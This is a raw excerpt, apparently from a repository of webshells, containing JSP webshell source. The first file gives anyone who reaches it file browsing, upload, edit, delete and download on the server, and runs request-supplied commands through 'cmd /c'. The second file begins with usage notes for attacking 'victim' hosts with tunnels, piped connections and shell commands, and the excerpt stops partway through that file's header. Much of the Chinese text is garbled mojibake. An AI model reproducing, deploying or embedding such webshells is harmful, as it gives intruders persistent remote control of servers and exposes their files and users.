}//end try
catch (IOException e) {
throw e;
}
}
return dataTable;
}
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
line = new String(b, 0, read);
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
}
String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}
static String conv2Html(int i) {
if (i == '&') return "&amp;";
else if (i == '<') return "&lt;";
else if (i == '>') return "&gt;";
else if (i == '"') return "&quot;";
else return "" + (char) i;
}
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
sb.append(roots[i]+"</a>&nbsp;");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}
if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath("/");
}
if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}
if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}
if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
sbEdit.append("<input type=hidden name=action value=save >\r\n");
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
String line="";
while((line=br.readLine())!=null)
{
sbEdit.append(htmlEncode(line)+"\r\n");
}
sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="+strDir+">");
sbEdit.append("</form>");
}
if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
if(!strDesFile.endsWith("\\"))
{
strDesFile=strDesFile+"\\";
}
strTmpFile=strDesFile+"cqq_"+strFile;
}
File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
out1.write(buffer,0,c);
}
in1.close();
out1.close();
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
}
}
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{
File f_new=new File(strF);
if(strType.equals("File") && !f_new.createNewFile())
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
if(strType.equals("Dir") && !f_new.mkdirs())
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
}
else
{
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼ʧ<C2BC><CAA7></font>");
}
}
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼ʧ<C2BC><CAA7></font>");
HttpMultiPartParser parser = new HttpMultiPartParser();
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute("error", "Upload aborted");
}
else
{
String path = (String) ht.get("path");
if(path!=null && !path.endsWith("\\"))
path = path + "\\";
if (!f1.renameTo(new File(path + f1.getName())))
{
request.setAttribute("error", "Cannot upload file.");
error = true;
f1.delete();
}
}
}
}
%>
<html><head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }
#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}
#tablist li{
list-style: none;
display: inline;
margin: 0;
}
#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}
#tablist li a:link, #tablist li a:visited{
color: navy;
}
#tablist li a.current{
background: #EAEAFF;
}
#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}
.tabcontent{
display:none;
}
</style>
<script type="text/javascript">
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}
var previoustab=""
function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}
function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}
function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}
function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}
if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload
</script>
<script language="javascript">
function doForm(action,path,file,cmd,tab,content)
{
document.frmCqq.action.value=action;
document.frmCqq.path.value=path;
document.frmCqq.file.value=file;
document.frmCqq.cmd.value=cmd;
document.frmCqq.tabID.value=tab;
document.frmCqq.content.value=content;
if(action=="del")
{
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
document.frmCqq.submit();
}
else
{
document.frmCqq.submit();
}
}
</script>
<title>::Silic Group::</title>
<head>
<body>
<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>
<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www.blackbap.com" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
&nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->
<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sbFolder.append("<tr><td >&nbsp;</td><td>");
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
}
else
{
String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append("</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileEdit[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDel[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDown[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileCopy[languageNo]+"</a> ");
}
}
}
catch(Exception e)
{
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
}
%>
<DIV id="tabcontentcontainer">
<div id="menu3" class="tabcontent">
null
</div>
<div id="menu4" class="tabcontent">
<br><p>˵<><CBB5></p><p>Recoding by Juliet From:<a href="http://blackbap.org">Silic Group Inc.</a></p>
</div>
<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"><tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"><%=sbFolder%></tr></table></td><td width="81%" align="left" valign="top">
<%
if(strAction!=null && strAction.equals("edit"))
{
out.println(sbEdit.toString());
}
else if(strAction!=null && strAction.equals("copy"))
{
out.println(sbCopy.toString());
}
else if(strAction!=null && strAction.equals("down"))
{
out.println(sbDown.toString());
}
else if(strAction!=null && strAction.equals("savecopy"))
{
out.println(sbSaveCopy.toString());
}
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
{
out.println(sbNewFile.toString());
}
else
{
%>
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
<tr bgcolor="#E7e7e6">
<td width="26%"><%=strFileName[languageNo]%></td>
<td width="19%"><%=strFileSize[languageNo]%></td>
<td width="29%"><%=strLastModified[languageNo]%></td>
<td width="26%"><%=strFileOperation[languageNo]%></td>
</tr>
<%=sbFile%>
</table></span>
<%
}
%></td></tr>
<form name="frmMake" action="" method="post">
<tr><td colspan=2 bgcolor=#FBFFC6>
<input type="hidden" name="action" value="newFile">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<%
if(!strDir.endsWith("\\"))
strDir = strDir + "\\";
%>
<input type="text" name="fileName" size=36 value="<%=strDir%>">
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
</form>
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<input type="file" name="cqqUploadFile" size="36">
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
</td></tr></form>
</table>
</div>
<div id="menu2" class="tabcontent">
<%
String line="";
StringBuffer sbCmd=new StringBuffer("");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
else
{
strCmd = "set";
}
%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV></div>
<center>All Rights Reserved, <a href="http://blackbap.org" target="_blank">blackbap.org</a> &copy; Silic Group Inc.</center>

814
jsp/spjspshell.jsp Normal file
View File

@@ -0,0 +1,814 @@
<%
/*
* WEBSHELL.JSP
*
* Author: lovehacker
* E-mail: wangyun188@hotmail.com
*
* ʹ<>÷<EFBFBD><C3B7><EFBFBD>:
* ]http://victim/webshell.jsp?[options]
* options:
* action=piped&remoteHost=&remotePort=&myIp=&myPort=
* action=tunnel&remoteHost=&remotePort=&myPort=
* action=login&username=&password=&myPort=
* action=send&myShell=&myPort=&cmd=
* action=close&myPort=
* action=shell&cmd=
* <20><><EFBFBD>ӣ<EFBFBD>
* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- <20><>192.168.0.1<EFBFBD><EFBFBD>25<EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD>218.0.0.1<EFBFBD><EFBFBD>12345<EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>NC<EFBFBD><EFBFBD><EFBFBD><EFBFBD>12345<EFBFBD>˿ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѿ<EFBFBD><EFBFBD>Ƶ<EFBFBD>WEB<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>˿ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>WEB<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӡ<EFBFBD>
* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- ʵ<><CAB5>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ʸ<EFBFBD>webshell.jsp<73><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD>telnet<65><74><EFBFBD><EFBFBD><EFBFBD>Ĺ<EFBFBD><C4B9>ܡ<EFBFBD><DCA1><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>webshell.jspʵ<70>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵĹ<CAB5><C4B9>ܣ<EFBFBD><DCA3><EFBFBD>jsp<73><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƵĻ<C6B5><C4BB><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD>80<38>˿ڣ<CBBF><DAA3><EFBFBD><EFBFBD>ҷ<EFBFBD><D2B7><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Internet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַdz<D6B7><C7B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Telnet<65><74><EFBFBD><EFBFBD>:-)
* action=login&username=root&password=helloroot&myPort=65534 -- <20><>һ<EFBFBD><D2BB>ֻ<EFBFBD>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>ҪTelnet<65><74>̨<EFBFBD><CCA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ſ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>Ҫtelnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>Ȼ˭Ҳû<D2B2><EFBFBD><ECB7A8>
* action=send&myShell=&myPort=&cmd= -- <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD>ô<EFBFBD><C3B4><EFBFBD>Ϳ<EFBFBD><CDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϱ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>myShell<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǣ<EFBFBD><C7A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD>֪<EFBFBD><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôʱ<C3B4><CAB1><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ҫд<D2AA><D0B4><EFBFBD><E0B8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٺ٣<D9BA><D9A3><EFBFBD><EFBFBD><EFBFBD>ޣ<EFBFBD><DEA3><EFBFBD>cmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫִ<D2AA>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><E7A3BA>which ssh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>棺myShell=lovehacker&cmd=ls -la;echo lovehacker<65><72>
* action=close&myPort= -- <20><><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>telnet<65><74>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF>ŵĶ˿ڻ<CBBF>û<EFBFBD>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֳ<EFBFBD><D6B3><EFBFBD>ɨ<EFBFBD>ɾ<EFBFBD><C9BE>
* action=shell&cmd= -- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>̨<EFBFBD><CCA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD>Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini
* <20><><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>
* <20><>ͨ<EFBFBD><CDA8>jspʵ<70><CAB5>telnet<65><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʵͷʹ<CDB7><CDB4>һ<EFBFBD>ѣ<EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>̣߳<DFB3>client socketȥ<74><C8A5><EFBFBD><EFBFBD>
* telnet<65><74><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD><CBB8><EFBFBD><EFBFBD><EFBFBD><ECB7A8><EFBFBD><EFBFBD>telnet<65>Ĺ<EFBFBD><C4B9>̷ֲ<CCB7><D6B2><EFBFBD><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD>
